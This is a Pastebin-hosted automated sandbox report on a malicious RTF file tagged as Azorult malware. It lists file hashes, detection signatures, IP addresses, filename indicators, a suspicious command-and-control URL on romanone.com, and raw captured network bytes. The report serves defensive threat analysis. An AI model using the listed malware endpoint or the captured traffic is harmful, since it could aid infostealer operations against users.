API tools faq
paste
paladin316

RTF_b54f6f81c118db266fa3d82ca27a9312_doc_2019-08-02_11_30.txt

paladin316
Aug 2nd, 2019
2,501
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 198.26 KB | None | 0 0
raw download clone embed print report
  1.  
  2. * MalFamily: "Azorult"
  3.  
  4. * MalScore: 10.0
  5.  
  6. * File Name: "RTF_b54f6f81c118db266fa3d82ca27a9312.doc"
  7. * File Size: 8538
  8. * File Type: "Rich Text Format data, version 1, unknown character set"
  9. * SHA256: "7e6d04a02911f357032f250c91ee5efd90634728d8c1bab5b1e170e30350ad84"
  10. * MD5: "b54f6f81c118db266fa3d82ca27a9312"
  11. * SHA1: "ec4290119e47c92b1c889c1f447d7656ac03043f"
  12. * SHA512: "6ece06df00729e8a6cf0a9b2cc93d0407948fc1f6c5b2c8e14817003d096fe561c30acba6876d983e8b0907910a5f330cd80cf79154b43461c336ac6a730833e"
  13. * CRC32: "B95B7451"
  14. * SSDEEP: "96:F7BK+vc3OPGasDdZDzOkrXTXTyLAFid2R/nignUv1g+Ax7F:fKec3G69zxoUxngg+Axp"
  15.  
  16. * Process Execution:
  17. "WINWORD.EXE"
  18.  
  19.  
  20. * Executed Commands:
  21.  
  22. * Signatures Detected:
  23.  
  24. "Description": "A process attempted to delay the analysis task.",
  25. "Details":
  26.  
  27. "Process": "WINWORD.EXE tried to sleep 397 seconds, actually delayed analysis time by 0 seconds"
  28.  
  29.  
  30.  
  31.  
  32. "Description": "Attempts to connect to a dead IP:Port (7 unique times)",
  33. "Details":
  34.  
  35. "IP": "65.52.98.231:443"
  36.  
  37.  
  38. "IP": "104.18.25.243:80"
  39.  
  40.  
  41. "IP": "72.21.91.29:80"
  42.  
  43.  
  44. "IP": "184.28.188.192:80"
  45.  
  46.  
  47. "IP": "23.222.163.54:443"
  48.  
  49.  
  50. "IP": "52.109.2.14:443"
  51.  
  52.  
  53. "IP": "23.221.114.21:443"
  54.  
  55.  
  56.  
  57.  
  58. "Description": "At least one IP Address, Domain, or File Name was found in a crypto call",
  59. "Details":
  60.  
  61. "ioc": "gb.xsl"
  62.  
  63.  
  64. "ioc": "ontent.inf"
  65.  
  66.  
  67. "ioc": "nline.xsl"
  68.  
  69.  
  70. "ioc": "iso690nmerical.xsl"
  71.  
  72.  
  73. "ioc": "turabian.xsl"
  74.  
  75.  
  76. "ioc": "iso690.xsl"
  77.  
  78.  
  79. "ioc": "ieee2006officeonline.xsl"
  80.  
  81.  
  82. "ioc": "e.gu"
  83.  
  84.  
  85. "ioc": "ext.glox"
  86.  
  87.  
  88. "ioc": "harvardanglia2008officeonline.xsl"
  89.  
  90.  
  91. "ioc": "gosttitle.xsl"
  92.  
  93.  
  94. "ioc": "rc.glox"
  95.  
  96.  
  97. "ioc": "ccent.glox"
  98.  
  99.  
  100. "ioc": "gostname.xsl"
  101.  
  102.  
  103. "ioc": "ist.glox"
  104.  
  105.  
  106. "ioc": "sist02.xsl"
  107.  
  108.  
  109. "ioc": "chicago.xsl"
  110.  
  111.  
  112. "ioc": "mlaseventheditionofficeonline.xsl"
  113.  
  114.  
  115. "ioc": "quations.dotx"
  116.  
  117.  
  118. "ioc": "chevronaccent.glox"
  119.  
  120.  
  121. "ioc": "content.inf"
  122.  
  123.  
  124. "ioc": "etropolitan.thmx"
  125.  
  126.  
  127. "ioc": "rocess.glox"
  128.  
  129.  
  130. "ioc": "pictureorgchart.glox"
  131.  
  132.  
  133. "ioc": "rings.glox"
  134.  
  135.  
  136. "ioc": "set.dotx"
  137.  
  138.  
  139. "ioc": "rame.glox"
  140.  
  141.  
  142. "ioc": "adial.glox"
  143.  
  144.  
  145. "ioc": "anded.thmx"
  146.  
  147.  
  148. "ioc": "rid.glox"
  149.  
  150.  
  151. "ioc": "..3b"
  152.  
  153.  
  154. "ioc": "iew.thmx"
  155.  
  156.  
  157. "ioc": "asis.thmx"
  158.  
  159.  
  160. "ioc": "ividend.thmx"
  161.  
  162.  
  163. "ioc": "arallax.thmx"
  164.  
  165.  
  166. "ioc": "rame.thmx"
  167.  
  168.  
  169. "ioc": "architecture.glox"
  170.  
  171.  
  172. "ioc": "uotable.thmx"
  173.  
  174.  
  175. "ioc": "late.thmx"
  176.  
  177.  
  178. "ioc": "ype.thmx"
  179.  
  180.  
  181. "ioc": "rop.thmx"
  182.  
  183.  
  184. "ioc": "ircuit.thmx"
  185.  
  186.  
  187. "ioc": "g.n9"
  188.  
  189.  
  190. "ioc": "eadlines.thmx"
  191.  
  192.  
  193. "ioc": "erlin.thmx"
  194.  
  195.  
  196. "ioc": "adge.thmx"
  197.  
  198.  
  199. "ioc": "rail.thmx"
  200.  
  201.  
  202. "ioc": "roplet.thmx"
  203.  
  204.  
  205. "ioc": "amask.thmx"
  206.  
  207.  
  208. "ioc": "vent.thmx"
  209.  
  210.  
  211. "ioc": "eathered.thmx"
  212.  
  213.  
  214. "ioc": "avon.thmx"
  215.  
  216.  
  217. "ioc": "esh.thmx"
  218.  
  219.  
  220.  
  221.  
  222. "Description": "HTTP traffic contains suspicious features which may be indicative of malware related traffic",
  223. "Details":
  224.  
  225. "post_no_referer": "HTTP traffic contains a POST request with no referer header"
  226.  
  227.  
  228. "post_no_useragent": "HTTP traffic contains a POST request with no user-agent header"
  229.  
  230.  
  231. "http_version_old": "HTTP traffic uses version 1.0"
  232.  
  233.  
  234. "suspicious_request": "http://romanone.com:443/wp-content/okoye/32/index.php"
  235.  
  236.  
  237.  
  238.  
  239. "Description": "Performs some HTTP requests",
  240. "Details":
  241.  
  242. "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D"
  243.  
  244.  
  245. "url": "http://ocsp.msocsp.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D"
  246.  
  247.  
  248. "url": "http://ocsp.usertrust.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBR8sWZUnKvbRO5iJhat9GV793rVlAQUrb2YejS0Jvf6xCZU7wO94CTLVBoCECdm7lbrSfOOq9dwovyE3iI%3D"
  249.  
  250.  
  251. "url": "http://ocsp.comodoca.com/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBReAhtobFzTvhaRmVeJ38QUchY9AwQUu69%2BAj36pvE8hI6t7jiY7NkyMtQCEQDwHUvue3yjezwFZqwFlyRY"
  252.  
  253.  
  254. "url": "http://romanone.com:443/wp-content/okoye/32/index.php"
  255.  
  256.  
  257.  
  258.  
  259. "Description": "A document file initiated network communications indicative of a potential exploit or payload download",
  260. "Details":
  261.  
  262. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00~\\x01\\x00\\x00z\\x03\\x01d\\x16\r\\xfd>2>\\xbb\\xfe\\xbf\\xafn\\xed\\xf8\\xfd\\x85\\x9a\\xf0\\xe5&\"\\xc2d\\x81\\xc4 \\xca\t\\xd9\\xd9\\x84\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x009\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00 \\x00\\x1e\\x00\\x00\\x1broaming.officeapps.live.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  263.  
  264.  
  265. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xf9\"$\\xb5\\xfe\\xb7\\x83\\x8b\\xc2\\x03\\xe8\\xb8\\x95\\xf1\\xa7=\\xfds9'hmtf\\x87\t\\xaei\"\\xb9\\x1f\\xdd\\xec\\xf9\\x956\\xa7\\xc0\\xe5u\n\\xf8\\xb7fr\\xe4\\xfe*\\xc1\\x9d7\\xc1\\x11\\xca\\x18\\xd7\\xaf\\xee/\\x9d\\x83\\x1e\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000bo\n\\xdd\\x9a\\xb0<\\xfa\\x02\\x06\\xd8)\\xf9tt\r\\x82\\xc5&\\xc6;\\x85\\x07h_\\x97\\xfc\\xf1kr\\xc7\\xdf\\xa2\\xe9\\xc00\\\\xef\\x84\\xf3\\xd09\\x1dwb."
  266.  
  267.  
  268. "http_request": "winword.exe_WSASend_get /mfewtzbnmeswstajbgurdgmcgguabbtbl0v27rvz7lbduom%2fnyb45spuewqu5z1zmijhwmys%2bghunoz7oruetfaceai4elabvpzalrznpjlrv1u%3d http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nuser-agent: microsoft-cryptoapi/6.1\r\nhost: ocsp.digicert.com\r\n\r\n"
  269.  
  270.  
  271. "http_request": "winword.exe_WSASend_get /mfqwujbqme4wtdajbgurdgmcgguabbrpc1vzt9qvn7bzy3iidtbhla4mkqquwiif1tycsck3fd7%2fhijo5ox%2f%2bn0ce3saagyvv14%2fmepdgh0aaaaabk8%3d http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nif-modified-since: sat, 23 mar 2019 17:46:18 gmt\r\nif-none-match: \"dd54d75d468"
  272.  
  273.  
  274. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01p\\x02<\\xcc'zo\\xc0l\\\\xfe\\xd2g\\x82\\xbb\\xb2ti\\2\\x12\\xeb\\xc4\\xaf\\x0c\\x81\\x12\\x8b\\x86z.\\x94%%(?\\xc1;g\\xc7yc\\xb3`\\xa7\\x18\\x9e\\xbeo\\xc5/\\xd8\\xb9\\xd0\\x0ew\\xda!d\\xc0=\\xdej\"$\\xe7\\x19\\xd8\\x86\\xb4y\\x1f#\\xb3\\xbf0\\xdbo/|\\x0f\\x9d\\x83\\xff\\xd6i\\x8c\\xfe^:c\\xeb\\x81\\xe0v\\xc5\\x11dj\\xf9\\xa3\\xa6jm\\xe2\\xce\\x91\\xbd\\x12\\x92\\x9a\\xb8\\x88\\x9d\\x15qs\\xcc\\xc3u\\xcb\\x8e\\x99\\xfeq \\xab\\x17\n\\xf8:\\xa5o>\\xb7\\xd7\\xdb\\x9f\\x1a\\xfc\\xba?~c\\x00u\\xe9\\xfcr\\xf3\\x8c\"%\\xaaw\\xf6\\xfb0&)n\\xa5`\\xe8\\xaa\\x9b\\xdb\\x86\\xc7z\\x92r\\x97`,\\xa4\\xf5i>\\xb4*y\\x9cx\\xcb\\xa1\\xa0\\xb5vm\\x99y\\x9c\\x15pd\\xa4\\x87`\\x84\\x11>\\xcalu\\x9b\\xe1\\xa5\\xd1\\xfe\\x19\\xe9p\\xe4\\x9a\\xa2\\x1d\\xce\\xe6\\x844f\"\\xe3\\x81ku8\\xd5\\xee\r'\\xb7\\x00\\x0f\\xe7\\xdci\\x88\\x8da\\xb5\\xa7|\\x8a"
  275.  
  276.  
  277. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x02 \\xe3v\\xa5h\\x95\\xe3\\x1e\\x08%\\xdb\\xf4\\x84\\xc6;\\xc8\\xa8\\x94\\xad\\xb5\\xf9\\xb7\\x8a\\xe0i\\xff\\xba\\xcb8`f\\x05\\xf5\\x8e\\xff\\x8d\\x17\\xd7\\x93\\xe4\\xfc\\x16'\\x11\\xc1\\,z~w.gj\\x96\\xca?\\xe2f\\x7f\\xbb\\xd5l\\x01\\x99\\x1b\\xad\\x03s\\x02\\xbf?\\x9eg0\\x98\\xb20\\xdbd\\xd4l\\x8cp\\xb9t\\xe1\\xd7\\xf4\\x97\\x87\\x84\\xf2\\xba\\xe2a\\x00`\\xe5\\xcc\\xf2\\x02\\xc3\\xd4r\\x98\\xd1\\xa3\\x87\\xb2\\xe8\\xb1\\xa1s\\x1f\\xe3\\x0fm`\\x08ne\\x91\\x1e\\xd1\\xbb\\x1e\\xc9/\\xcdq\\x85\\xa9\\xf6k\\xa1\\xd5\\xf4\\xee\\xb5\\x8f\\x06\\xee\\xe1\\xefth\\x02\\x86\\xb0\\xefo\\xf0\\xcf*\\x14\\xd6\\x91s\\xb7~jp\\xcf\\x0e\\xf8\\xba\\xd6c\\x81\\xc0\\x82\\x84\\xd0\\xcc\\xd2\\xc3\\x0e\\x15\\x1e\\xda\\x80\\xe9w\\xf3\\x7ff;\\xc0\\x9a\\xd9\\xf4a\\xa6\\xa5\\xbd\\x87\\xd3\\xc5\\x9cv\\xc5\\x9ec\\xa3n\\xbd\\xa7 ,\\xc9\\x0c\\x01\\xb2\\xb6\\x1b>j\\x9d\\x01o\\xfff\\xc7s\\xde \\xd8\\x83r\\x04\\x1e\\xc8\\x8b!\\xb3\\xe3\\x00\\x9ba\\x9e\\xf7\\xbfe\\x1d\t\\xb7a\\xb4"
  278.  
  279.  
  280. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00z\\x01\\x00\\x00v\\x03\\x01d\\x16\\x14\\x1e\\xef\\xf5\\xd5\\x96\\x0c\\xcb\\xd3\\x0e\\xc0\\xd04\\x9a\\xb1\\x89of\\xa4\\xaa\\x88s\\xa7\\xd6\\x1e\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x005\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x1c\\x00\\x1a\\x00\\x00\\x17odc.officeapps.live.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  281.  
  282.  
  283. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04-dqb\\x10\\xb1\\xac\\xcc<!\\xf5*\\x7f\\xe6\\x05\\xban\\xcb*um\\xe8\\x82x\\xaf\\xd3-\\xcb\\xc8\\xdb\\x8e\\x90v\\x13\t\\xc8\\xb2\\xd6y\\xbb\\x04\\x02\\xc2\\xebj\\xd2\\x98q!\\x9d\\x8cl\\xb0\\x93\\xedodd\\xbe\\x91>y\\x90\\x0b\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000c\\xb5\\xce\\xfe\\xf0\\x9c\\xae\\xac\\xf1\\xe6b\\xd0\\x9b\\x12r\\xfei\\xf4a\\x88\\xf4\\xf3\\xe1.)\\xd5\\x8c\\xfe\\xa3\\xae4\\x80\\xda\\xcf6\\xebb\\xa8\\xfa\\x9c\\x0f\\xad\nli\\xff/"
  284.  
  285.  
  286. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01pak\\x87\\xc4\\xe3 |;|\\xf1h\\xe6\\xd2mc\\x98\\xc8\\xa7\\x84\\xf8'\\xb6\\x9b1\\xa3\\xfa\\xa0,\\x1apb\\x19&\\xdbr\\xfe r\\xb7\\x87%s\\xc2\\xc1\\x10\\xa6p\\xfde|l\\xfc\\x1d\\xdf\\x18,\\xcby\\xc0\\xe8\\xe0\\xbf\\x14\\xb9\\x86x\\x83pk\\xc2\\xbf\\x19\toi\\xe8\\xf0\\x97z\\x1b\\x8dw\\x9e\\xb4\\l\\xf7lvmq\\xb2\\xfe\\xf66<\\xa2`\\x87s\\x0e\\xab\\x16\\xfb\\x98\\xae1\\x08e\\x99\\xd3/w\n*\\xbf`\\xfa\\xcdl\\xd0uk\\x0b\\xba\\xd8\\x0e8\\x01\\xb8\\xc4\\xdcs\\xf9\\xc4\\xc9\\xd3\\xcee\\x9dtz\\xbd+\\xc8dl\\x16\\x0e\\x89\\xf1\\xfd\\xf5\\xd0\\x9blpx\\xf0\\xe2\\xb3b\\xe4b\\x8e\\xe8hz\\xae\\xf2sg\\xdf/\\x046\\xc9\\xf6\\xd8\\x95+\\xbe\\xfey\\x87\\xce\\x13\\xa8/\\xe0\\xec\\x8d\\xefr\t\\x99\\x13ml\\xc6\\xfd\\xb8\\xe0wo\\x1a\\x17z\\xa7\\xdc2\\x10\\x12*\\xc2\\xa6\\xd3l\\xd4w\\x18,68\\x1a.\\x1d\\xb4i_;\\x00\\x9c\"9\\x16>\\xfd`\\x9a_\\xa2\\xc1\\x9c\\x19\\xaai\\xef\\xc6"
  287.  
  288.  
  289. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x01\\x00\\x00y\\x03\\x01d\\x16\\x15\\xaa\\xdd\\xabm\\xec\\xbff2v\\xd5\\xe5\\x97q\\xfd\\x03<w\\x014\\xa0\\xc7\\xb6\\x13\n\\xe6\\x8f\\xace\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x008\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x1f\\x00\\x1d\\x00\\x00\\x1atemplateservice.office.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  290.  
  291.  
  292. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xe2\n(\\x14\\xc9\\xd7\\x8d\\xcf\\xac\\xf5-\\x1f\\x1el\\xbd\\xdb\\x84\\x87\\xe4k\\xcb)\\xc6\\xcd\\x0c\\xd2\\xef\\x8a\\xe78$\\xce\\xfd)\\xb2\\xc4\\x11\\x01\\xf5xg\\x05\\xd4\\xec\\xb1\\xfau\\xbcg\\xb1v\\x0b\\x89?\\xb9w\\x99\\xc78df\\xde\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xffw\\xb3tvd|\\xc3\\xe2\\x0c\\x90xi&1@\\xed\\x8fm\\x99\\xd7g\\x95i\\x8c\\xd8,\\x88^\\xd3\\xe5\\xbf/!\\xd6\\xc9\\x9b\\xd0\\xa5-\\xfak\\xf4\\x8a\\x8d\\xaa\\x94"
  293.  
  294.  
  295. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01pu\\x94\\xac\\xfbm\\xf1\\x83\\x96\\xca\\x1d/gp\\xc4\"f\\x07*\\xe9m\\xcd\\xa3\\xa2 \\xccdin9i\\xea\\xdex\\x97\\x08'b\\x14|\\x95\\xff\\x9e\\xc5m\\x89\\x96\\xf6\\xb6d\\xbe7\\xe4\\x8b\\xc44\\x12\"\\xae\\x7fl\\x9c?j\\xb1\\x0c\\xee<.r\\xf4\\xdb\\xdf\\xba1\\x04\\x86s\\x89\\xc0\\xd3\\xfd\\x93\\xba\\xce7\\x87\\x7f\\xec\\x94\\x86\\x1a\n3\\xcb#\\x84\\xe2\\xb1\\x96e\\xbe\\x9f)|h'0na\\x8ar\\x15\\xb2x\\xab\\xb2\\xcd\\xb6\\x96\\xb6\\x8f8\\x9e\\xb2s\\xae\\xa2\\xb1r\\xa7!\\xcc\\x91\\x00p\\x15\\xe1q\\xdf\\xf2dg;\\xf6g\\xe7\\x848p~\\x91)m<\\x0c\\xac\\xa7!x\\xc6>\\xc8`\\x99o5\\xa8,\\xa7h\\xfee\\xb8\\xd7\\x1e\\xc3_\\xa8\\xc5'\\xf5x\\x1e\\x1bu\\x94\\x07t\\xee\\xdf\\xa4\\xc2j\\xb8w!\\xc0\\x81v\\xe8\\xfe\\x07\\x81~\\xf2\\xdb\\x1a\\x14\\xb1\\xdb\\xf1@\\xbdl\\xdf\\xb2\\x8f\\x93<\\xcas\\xd0\\xe6$\\x9e\\x9d\\xd1_\\xbb\\xd0e\\x9b\\x86\\x96\\x8c\\xdd\\xe0\\x06l\\xd3$y\\xf3\\xaf\\xb5\"\\xf8#"
  296.  
  297.  
  298. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01d\\x16\\x16\\xa3n\\xdd\\xd5\\xe5\\xba\\xc5\\xdb\\x08_\\xb56\\xbe\\x93\\xa8\\xbd\\x7f\\x13\\xce%3>\\xb3\\xf61\\x95i\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  299.  
  300.  
  301. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01d\\x16\\x16\\xb1\\xc5\\xee\\x03\\x90\\xa8\\x9c\\xe7m\\xb0\\x87\\xbc\\xfb\\xe5\\xe2x\\xd9\\x8a\\xbb\\x8f\\xb3\\xb1i#&\\xa4\\x11\\xc3\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  302.  
  303.  
  304. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01d\\x16\\x16\\x9e\\xb0\\x1c\\x0ezjp\\xb8\\x11\\xa0\\xa4'\\xb9\\x9cim\\x8fs\\xb5\\x00\\xd8l\\xe6%\\x93b\\x93\\xf2\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  305.  
  306.  
  307. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01d\\x16\\x16ng\\x9e\\xecu\\x10\\xbb\\x9d\\xbe\\xc0wu\\xa0\\xd5\\xe7\\xd7\\xc2)\\xa1i\\x97\\x0f\\xea\\xf9\\xe3\\x8dj\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  308.  
  309.  
  310. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01d\\x16\\x16\\xfc\\xbc$j\\x92@\\xe0\\xb3\\xbep^\\x03\\x8fd\\xc8\\xb1q\\xbb\\xd4\\x13\\xa8\t\\x91\r\\x80,\\x97\\x9e\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  311.  
  312.  
  313. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01d\\x16\\x16\\xb7\\x05f\\x12d\\xbc\\xca\\xf5\\x83\\xd7\\x973\\x9d\\x7f;\\\\xc8ti\\x90\\x89\\xf3j\tex5\\x87\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  314.  
  315.  
  316. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01d\\x16\\x169\\x82\\x81\\x9d\\x12m\\xf9\\xb6\\xb72\\xe1\\xa3b\\xf9\\x83@\\xb0\\xafds\\xb0rq\\x0e\\xfb\\x14\\x1d\\x01\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  317.  
  318.  
  319. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01d\\x16\\x16\\xbf\\xb5\\x8d\\xbb\\x1bv\\xd8\\x1d\\x99\\xa1\\xd7\\xef\\xca\\xd0\\x97\\xdb\\x0b-n\\xb64\\xeb\\x94\t\\xdb\\x1b\\xfcq\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  320.  
  321.  
  322. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01d\\x16\\x16v\\x14\\xb4\\xd9d\\xb3\\x84e\\xfe\\xe7:\\xff\\x0fy>a1&led\\x14\\xb1\\x85\\xd3\\xb4\\x93\\xf9\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  323.  
  324.  
  325. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01d\\x16\\x16ij\n\\xcf*\\xd1r\\x9d3\\x17\\xd0\\xec=\\xca\\x96\\x8f\\x9b\\xbc\\x16\\xde\\xd2\\xe4\\x97e\\xde\\xc4c\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  326.  
  327.  
  328. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01d\\x16\\x16\\x1a\\xc2\\xcdf\\xe5\\x14>f\\x1d\\xefo8\\x18|\\xa4\\x92\\xb9s:\\x1bh\\xe8\\xc0\\xd1\\x9e\\xc1`\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  329.  
  330.  
  331. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01d\\x16\\x16\\xe4\\x83\\xd5\\x962\\xa9\\xe6\\x88\\x81\\x1c1\\x07@\t\\xcd\\x1c+xd\\xe9er\"\\xbc\\xd1\\x9d\\xc0\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  332.  
  333.  
